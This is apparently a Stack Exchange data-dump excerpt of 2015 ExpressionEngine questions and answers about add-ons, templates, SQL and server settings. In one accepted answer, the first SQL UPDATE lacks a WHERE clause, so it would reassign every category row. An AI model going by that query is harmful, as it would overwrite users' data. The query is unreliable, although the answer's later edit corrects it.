  <row Id="31478" PostTypeId="2" ParentId="28422" CreationDate="2015-05-13T09:07:13.467" Score="1" Body="&lt;p&gt;I see from your &lt;a href=&quot;https://github.com/MaxLazar/mx-title-control/issues/7&quot; rel=&quot;nofollow&quot;&gt;MX Title Control GitHub Issue&lt;/a&gt; that you've fixed your issue. Nice job mate! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any other readers the solution, which is a patch Joe submitted is listed here : &lt;a href=&quot;https://github.com/joeczucha/mx-title-control/commit/9b0851146e3edc55442879affd3a6e4e9ff3df63&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joeczucha/mx-title-control/commit/9b0851146e3edc55442879affd3a6e4e9ff3df63&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-13T14:06:18.220" LastActivityDate="2015-05-13T14:06:18.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31479" PostTypeId="1" CreationDate="2015-05-13T14:06:16.937" Score="1" ViewCount="183" Body="&lt;p&gt;I've got a basic freeform form that posts to /forms/success/%%entry_id%%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that /forms/success template, I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:freeform:entries entry_id=&quot;{segment_3}&quot; status=&quot;&quot;}&#xA;        {if no_results}No results?{/if}&#xA;            &amp;lt;p&amp;gt;We have received the following data and will process it shortly.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;fieldset class=&quot;bg-white&quot;&amp;gt;&#xA;                {freeform:all_form_fields}&#xA;                &amp;lt;p&amp;gt;&#xA;                    &amp;lt;label&amp;gt;{freeform:field_label}&amp;lt;/label&amp;gt;&#xA;                    {freeform:field_output}&#xA;                &amp;lt;/p&amp;gt;&#xA;                {/freeform:all_form_fields}&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        {/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Every time I post a form, I get redirected to the success template fine (with an entry_id as segment 3) but get the no results block every time. Data is being collected fine. I've tried setting status=&quot;open|pending&quot; (as all new submissions are pending). I've also tried with and without dynamic=&quot;no&quot; but that makes no difference. I can't see what I'm doing wrong (it may be obvious!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is freeform 4.2.2 on EE 2.10.1.&lt;/p&gt;&#xA;" OwnerUserId="871" LastEditorUserId="871" LastEditDate="2015-05-13T16:11:24.917" LastActivityDate="2015-05-13T16:17:41.177" Title="freeform entries not listing" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31480" PostTypeId="1" CreationDate="2015-05-13T15:00:22.967" Score="0" ViewCount="55" Body="&lt;p&gt;I've got the search working great, as solved here:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/30373/low-search-matrix-field-data&quot;&gt;Low Search + Matrix field data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I'd like to display the query on the results page. Technically I am displaying it by using this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searched for &lt;strong&gt;{low_search_query_string}&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it looks like a string -- of course. Is there a way to make it pretty and just show the search term?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:osa&lt;/p&gt;&#xA;" OwnerUserId="973" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-05-13T20:17:36.183" Title="Low Search + Matrix field data = display search term" Tags="|low-search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31482" PostTypeId="2" ParentId="31479" CreationDate="2015-05-13T16:17:41.177" Score="2" Body="&lt;p&gt;You need a form_id= in addition to an entry_id= because entry ids are per form, not globally unique.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-05-13T16:17:41.177" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31483" PostTypeId="2" ParentId="28422" CreationDate="2015-05-13T16:25:54.123" Score="0" Body="&lt;p&gt;In case anyone else experiences it, I've added a pull request that resolves this issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joeczucha/mx-title-control/commit/9b0851146e3edc55442879affd3a6e4e9ff3df63&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joeczucha/mx-title-control/commit/9b0851146e3edc55442879affd3a6e4e9ff3df63&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1396" LastActivityDate="2015-05-13T16:25:54.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31484" PostTypeId="2" ParentId="14582" CreationDate="2015-05-13T19:02:56.857" Score="0" Body="&lt;p&gt;I ran into this same issue. For me it was a new custom member field that was set to be Required. In other words this field wasn't being used on the old site so wasn't part of the import data. Since it was required Importer silently rejected every record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Definitely operator error but something to check if you get tripped up like I did!&lt;/p&gt;&#xA;" OwnerUserId="2268" LastActivityDate="2015-05-13T19:02:56.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31485" PostTypeId="1" CreationDate="2015-05-13T19:55:49.097" Score="0" ViewCount="50" Body="&lt;p&gt;I'm looking to programatically migrate about 400 instances of &quot;Video Player&quot; field data to Channel Videos. All I have to work with is the Youtube/Vimeo video URLs. Wondering if anybody has attempted to do this or knows a clever way it could be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Initial research has me thinking I could leverage &lt;em&gt;ajax.channel_videos&lt;/em&gt; or an ACT url and write a script that sequences calls to the APIs using an existing hook.)&lt;/p&gt;&#xA;" OwnerUserId="3576" LastActivityDate="2015-10-30T18:23:34.023" Title="Migrating existing field data to Channel Videos – anyone out there tried this?" Tags="|devdemon|video|channel-videos|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31486" PostTypeId="2" ParentId="31480" CreationDate="2015-05-13T20:17:36.183" Score="1" Body="&lt;p&gt;As per &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#params&quot; rel=&quot;nofollow&quot;&gt;how parameters work in Low Search&lt;/a&gt;, you can output any parameter with a variable formatted like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{low_search_parameter_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As per the question/answer you linked to, that would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{low_search_search:tags:arranger}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-05-13T20:17:36.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31487" PostTypeId="1" CreationDate="2015-05-14T09:22:16.353" Score="0" ViewCount="276" Body="&#xA;    &#xA;         {label:skills}:&#xA;    &#xA;    {field:skills}&#xA;&#xA;&#xA;&lt;p&gt;I am trying to add a class to the field skills. Cant find any documentation on adding a class to this field. Im sure its a simple fix, anyone got the solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2016-12-16T12:46:31.017" Title="Adding class to a field within a channel form" Tags="|safecracker|channel|channel-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31489" PostTypeId="1" AcceptedAnswerId="31493" CreationDate="2015-05-14T11:42:58.170" Score="0" ViewCount="108" Body="&lt;p&gt;I've installed the DevDemon Subscriptions add-on with EE 2.10.1 and I'm using the Stripe payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently just testing with the default templates that come with the add-on. In the subs/subscribe_stripe template, the publishable API key is included in the form as a hidden field using the {stripe_test_public_key} or {stripe_live_public_key} tag. However, the tag is not being parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't even find anywhere in the add-on's files where that tag is being defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2015-05-14T13:22:12.973" Title="stripe_test_public_key and stripe_live_public_key tags are not parsing" Tags="|subscriptions|stripe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31490" PostTypeId="1" AcceptedAnswerId="31492" CreationDate="2015-05-14T11:55:28.183" Score="0" ViewCount="59" Body="&lt;p&gt;I need to reassign all uncategorised entries into a certain category, I've managed to create an SQL query which selects all the entries for that channel which aren't assigned to any categories, but I'm getting a bit stuck when it comes to updating the &lt;code&gt;exp_category_posts&lt;/code&gt; table. SQL isn't my strongest area so help would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my SQL for selecting the entries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SELECT exp_channel_data.entry_id FROM exp_channel_data LEFT JOIN exp_category_posts ON exp_channel_data.entry_id = exp_category_posts.entry_id WHERE exp_category_posts.entry_id IS NULL AND channel_id = 5;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the &lt;code&gt;exp_category_posts&lt;/code&gt; has two columns, &lt;code&gt;entry_id&lt;/code&gt; and &lt;code&gt;cat_id&lt;/code&gt;, I need to pull in the &lt;code&gt;entry_id&lt;/code&gt; from the &lt;code&gt;exp_channel_data&lt;/code&gt; table and hardcode the &lt;code&gt;cat_id&lt;/code&gt; column to a certain value.&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2015-05-14T15:51:37.623" Title="Reassign uncategorised entries" Tags="|categories|mysql|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31491" PostTypeId="2" ParentId="31405" CreationDate="2015-05-14T12:06:20.417" Score="1" Body="&lt;p&gt;IF you are following each step mentioned in upgrade doc it's worlds easiest task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however it's a bit tough if you are not using a stable version currently or your EE current version is older than 2.7 .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in both these cases you will face some deprecated functions issues, but trust me these can be resolved easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when you say you are using 2.8.1 it's pretty easy to upgrade into EE 2.10.1&lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2015-05-14T12:06:20.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31492" PostTypeId="2" ParentId="31490" CreationDate="2015-05-14T12:21:24.657" Score="2" Body="&lt;pre&gt;&lt;code&gt;UPDATE exp_category_posts&#xA;    LEFT JOIN exp_channel_data&#xA;    ON exp_channel_data.entry_id = exp_category_posts.entry_id&#xA;    AND exp_category_posts.entry_id IS NULL &#xA;    AND exp_channel_data.channel_id = 5&#xA;SET exp_category_posts.cat_id = 123;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please &lt;em&gt;backup&lt;/em&gt; those two tables before running any update queries, just in case. Also make sure you know how to restore said backups before proceeding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace 123 with the category id you want to set the uncategorized entries to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some queries for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one will &lt;em&gt;insert&lt;/em&gt; rows that don't exist in your exp_category_posts table and should not error out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO exp_category_posts (entry_id, cat_id)&#xA;    SELECT exp_channel_data.entry_id, @cat_id := 88&#xA;    FROM exp_channel_data&#xA;    LEFT JOIN exp_category_posts&#xA;    ON exp_channel_data.entry_id = exp_category_posts.entry_id&#xA;    WHERE exp_category_posts.entry_id IS NULL AND exp_channel_data.channel_id = 5&#xA;    AND exp_channel_data.entry_id NOT IN (select entry_id from exp_category_posts);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this one will &lt;em&gt;update&lt;/em&gt; rows that already exists (but have cat_id = 0, which is null for this table) to have your cat_id = 88:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_category_posts&#xA;SET exp_category_posts.cat_id = 88&#xA;WHERE exp_category_posts.cat_id = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-05-14T15:51:37.623" LastActivityDate="2015-05-14T15:51:37.623" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31493" PostTypeId="2" ParentId="31489" CreationDate="2015-05-14T13:22:12.973" Score="1" Body="&lt;p&gt;From the docs, it implies you have to 'hard-code' your keys in your template : &lt;a href=&quot;http://www.devdemon.com/documentation/subscriptions/#subs-payment-gateway-stripe&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/documentation/subscriptions/#subs-payment-gateway-stripe&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise your reading the default templates however I would guess that if you use a default template via a &lt;code&gt;subs&lt;/code&gt; tag it'll inject these values into globals, that or they are placeholders with squiggly brackets just to confuse you!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-14T13:22:12.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31494" PostTypeId="2" ParentId="31487" CreationDate="2015-05-14T14:14:11.467" Score="1" Body="&lt;p&gt;Via the Channel Entries form, you'll have to go by &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;, I thought you could add attributes however I was thinking of a freeform field(&lt;code&gt;{freeform:field:my field attr:class=&quot;testClass&quot;}&lt;/code&gt;, not a SAEF/Channel Entries field unfortunatly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The examples show you how to make your form, with complete markup autonomously here : &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/examples.html#entry-form-without-using-the-custom-fields-loop&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/examples.html#entry-form-without-using-the-custom-fields-loop&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming its a basic text field : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;label for=&quot;my_field_name&quot;&amp;gt;{label:skills}&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;testClass&quot; name=&quot;my_field_name&quot; id=&quot;my_field_name&quot; value=&quot;{skills}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you look through the examples, the label:field syntax can be useful for the complex types like grid or relationship (see here also : &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#including-assets&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#including-assets&lt;/a&gt;) but it sounds like you'd be better suited by leveraging your power HTML skillz.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-14T14:53:37.283" LastActivityDate="2015-05-14T14:53:37.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31495" PostTypeId="1" AcceptedAnswerId="31496" CreationDate="2015-05-14T14:44:11.587" Score="0" ViewCount="116" Body="&lt;p&gt;Is it possible to allow a user to 'switch off' auto-renew for their subscription so it expires automatically at the end of the current period?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say a user is 6 months in to a 12 month subscription and they want to stay until the end of that 12 months, but they don't want their subscription to be renewed at the end of the 12 months. Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2015-06-12T00:15:06.603" Title="Subscriptions - allow users to switch off auto-renew for their subscriptions" Tags="|subscriptions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31496" PostTypeId="2" ParentId="31495" CreationDate="2015-05-14T15:10:33.303" Score="1" Body="&lt;p&gt;I've just realised this can be done easily by setting the cancel_now parameter of the {exp:subs:cancel} tag to 'no'. In fact this is the default behaviour!&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2015-05-14T15:10:33.303" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31497" PostTypeId="1" CreationDate="2015-05-14T15:33:48.443" Score="0" ViewCount="65" Body="&lt;p&gt;It appears as though the Subscriptions add-on stores the subscription amount as an integer in the database rather than a decimal.  For example, a subscription amount of £120.00 is stored in the database as '12,000'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is causing a problem for, I think, any amount over 1000. For example, if I create a subscription with an amount of £1250, which gets stored in the database as '125,000', the customer actually only gets billed £1. Also, on the Subscriptions page within the module's settings, it displays the value of the subscription as £1.00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't think the payment gateway makes a difference but just in case, I'm using Stripe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this way of storing amounts in the database was deliberate, but it seems very odd.&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2016-05-30T19:42:06.210" Title="DevDemon Subscriptions - bug caused by the way prices are stored" Tags="|subscriptions|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31498" PostTypeId="1" CreationDate="2015-05-14T16:53:43.050" Score="2" ViewCount="136" Body="&lt;p&gt;I have set up an external source for S3 and it's not working. I cannot update the index - the white bar shows up but nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot upload - when I try, I get this error dialog box: &quot;Could not upload the file - server returned an unexpected response. Please check the server settings.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Assets 2.5 and EE v2.9.2 - Build Date: 20141004.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any help on this. thanks!&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2015-05-14T16:53:43.050" Title="Assets not working with Amazon S3 external source" Tags="|assets|amazons3|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31499" PostTypeId="2" ParentId="31497" CreationDate="2015-05-14T17:05:42.257" Score="0" Body="&lt;p&gt;It's quite common for DB's to store monitary amounts as pence in integers. I beleive this is for DB optimisation as it's easier to format a number with pretty currency formatting than store the formatted number. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;floats are another possability but take up more memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also many systems like this are not region locked, in that they could be used with any currency in any country. By using a DB that is not necessarily locale aware it's probably better to stich with lowest denomination as an integer. makes it easy to store $231.45 dollars or £12.06 GBP or Y0.12 yen. no need for DB locale operations, PHP can parse the number into the correct denomination on display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise we have currency and money typess in things like SQL Server, but in my experiance this causes problems (or at least conversions) specially when dealing with multi-currency sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, suppose we're living in the past and making a website to support 'old money' (&lt;a href=&quot;http://resources.woodlands-junior.kent.sch.uk/customs/questions/moneyold.htm&quot; rel=&quot;nofollow&quot;&gt;pounds, shillings and pence&lt;/a&gt;) and 'new money' (just pounds and pence). For New money it's simple, £6 6p = (6 * 100) + 6 = 606, thats an integer. For old money the value is £2 10s and 6p, to represent this as an integer all we need to do is (2 * 240) + (10 * 12) + 6 = 480 + 120 + 6 = 606, there's our integer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, that's a nice discussion point however (and here comes the disappointment) I can't answer the OP Question, but it certainly sounds like you've got a bug (In stripe??) there.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-14T17:05:42.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31501" PostTypeId="1" AcceptedAnswerId="31502" CreationDate="2015-05-14T21:05:55.787" Score="0" ViewCount="236" Body="&lt;p&gt;This should be straightforward.  I just need to take my event summary from the Solspace Calendar plugin and truncate it to say 280 characters.  I have PHP set to &quot;Yes&quot;, and &quot;Output&quot; parsing stage.  It is breaking and not rendering the template.   I'm assuming it's because I'm using it in a variable pair.  Below is the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal calendar_id=&quot;214&quot; date_range_start=&quot;-2 weeks&quot; date_range_end=&quot;+5 weeks&quot;}&#xA;{events}&#xA;&#xA;    &amp;lt;div class=&quot;eventPopup&quot; data-date=&quot;{event_start_date format=&quot;%Y-%m-%d&quot;}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;eventPopupHeader&quot;&amp;gt;&#xA;            {event_start_date format=&quot;%F %j, %Y&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;closeButton&quot;&amp;gt;&amp;lt;a href=&quot;javascript:void(0)&quot;&amp;gt;&amp;lt;img src=&quot;{siteroot}images/uploads/main/closeButton.png&quot; width=&quot;30&quot; height=&quot;30&quot; alt=&quot;close button&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div style=&quot;clear:both&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;subnavContent&quot;&amp;gt;&#xA;            {if event_pic != &quot;&quot;}&amp;lt;img src=&quot;{event_pic}&quot; width=&quot;246&quot; height=&quot;166&quot; alt=&quot;menu pic&quot;&amp;gt;&amp;lt;div style=&quot;clear:both&quot;&amp;gt;&amp;lt;/div&amp;gt;{/if}&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/haa/event/{entry_id}&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;{event_location} - &amp;lt;?php echo substr(&quot;{event_summary}&quot;, 0, 280); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/events}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6306" LastActivityDate="2015-05-15T11:43:02.040" Title="Simple PHP Substring not Working in Template" Tags="|php|solspace-calendar|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31502" PostTypeId="2" ParentId="31501" CreationDate="2015-05-14T21:52:11.827" Score="4" Body="&lt;p&gt;Why aren't you just using &lt;a href=&quot;https://devot-ee.com/add-ons/character-limiter&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/character-limiter&lt;/a&gt; ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if PHP is set on output, what happens when &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{event_summary}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;has a value like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;And the event was great, he said &quot;Everything is healing nicely!&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-05-15T04:37:29.853" LastActivityDate="2015-05-15T04:37:29.853" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31504" PostTypeId="1" CreationDate="2015-05-15T01:05:55.467" Score="1" ViewCount="158" Body="&lt;p&gt;I'm currently running EE 2.9.2 on a site. I have a relationship field that takes all selected entries and sorts them by a custom channel field for the display title.&lt;/p&gt;&#xA;&lt;p&gt;I've used this specific call:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;{relationship orderby=&amp;quot;custom_field&amp;quot; sort=&amp;quot;asc&amp;quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Only problem is that this field has several instances where it begins with a lowercase letter, due to a company's name being written that way (and thus unable to be capitalized). The returned values will place them outside of all of the entries beginning with capital letters, regardless of the letter they start with.&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Leonardo&lt;/p&gt;&#xA;&lt;p&gt;Michelangelo&lt;/p&gt;&#xA;&lt;p&gt;donatello&lt;/p&gt;&#xA;&lt;p&gt;raphael&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Does anyone know of any way to override this specific rule?&lt;/p&gt;&#xA;&lt;p&gt;Mucho thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6307" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-05-15T01:05:55.467" Title="Relationship field orderby/sort listing lowercase after caps?" Tags="|relationships|orderby|sort|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31505" PostTypeId="2" ParentId="31501" CreationDate="2015-05-15T11:43:02.040" Score="0" Body="&lt;p&gt;There are many plugins for this already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-string&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/search/results?keywords=string+length&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/search/results?keywords=string+length&amp;amp;addon_version_support=ee2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could roll your own...&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-05-15T11:43:02.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31506" PostTypeId="1" AcceptedAnswerId="34837" CreationDate="2015-05-15T11:59:47.483" Score="2" ViewCount="683" Body="&lt;p&gt;If a channel entry uses a file that has been uploaded that contains special characters (I've noticed this so far with brackets and commas), it now produces a PHP error saying the file does not exist. The error shows that the file is being searched for with a percent encoded name, so the original file can't be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if an image was uploaded called 'image (large).jpg', the PHP error says 'File /var/www/.../image %28large%29.jpg does not exist'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this error was introduced with EE v2.10.0, as these images were used previously with no error. Upgrading to v2.10.1 doesn't change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else encountered this error? The only way around it I've found is to download, rename, and reupload any files with special characters in, which is hardly practical.&lt;/p&gt;&#xA;" OwnerUserId="6309" LastActivityDate="2015-11-23T20:37:23.197" Title="File names with special characters" Tags="|channel-entries|file-uploads|file-manager|files|" AnswerCount="1" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31507" PostTypeId="2" ParentId="28713" CreationDate="2015-05-15T15:38:25.423" Score="1" Body="&lt;p&gt;I had a similar problem with 502 Bad Gateways, but in my case it was for AJAX requests. The following nginx directives worked for me;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;proxy_buffer_size   128k;&#xA;proxy_buffers   4 256k;&#xA;proxy_busy_buffers_size   256k;&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2015-05-15T15:38:25.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31508" PostTypeId="1" CreationDate="2015-05-15T16:04:35.287" Score="0" ViewCount="47" Body="&lt;p&gt;I'm trying to figure out how (if possible) to relate members to each other. I have teachers registering with Zoo Visitor and are added as Teacher Member Group. They need to be able to then assign Assistants to their account so that they are tied into each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Teacher John would have Assistant Bob and Assistant Jane.&#xA;Teacher Elvis would have Assistant Bob and Assistant Mary and Assistant Trevor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how this would be possible, if at all in EE?&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2016-05-15T01:01:17.270" Title="Relating Members to each other" Tags="|members|zoo-visitor|member-management|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31509" PostTypeId="2" ParentId="31464" CreationDate="2015-05-15T17:06:37.710" Score="1" Body="&lt;p&gt;Blatants response was very helpful in figuring out how to proceed. I hired someone to get this working exactly as needed, and here is the code that I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var changed = 0;&#xA;function myFunction() {&#xA;    var re = /type/;&#xA;    a = document.getElementsByTagName('a');&#xA;    for (index = 0; index &amp;lt; a.length; ++index) {&#xA;        if (changed==1) {&#xA;            a[index].href = a[index].href.replace(oldvalue, '');&#xA;        }&#xA;        if (a[index].href.match(re)) {&#xA;            a[index].href = a[index] + '/' + document.getElementById(&quot;topic&quot;).value;&#xA;        }&#xA;    }&#xA;    changed=1;&#xA;    oldvalue='/' + document.getElementById(&quot;topic&quot;).value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6249" LastEditorUserId="1100" LastEditDate="2015-05-18T12:21:34.263" LastActivityDate="2015-05-18T12:21:34.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
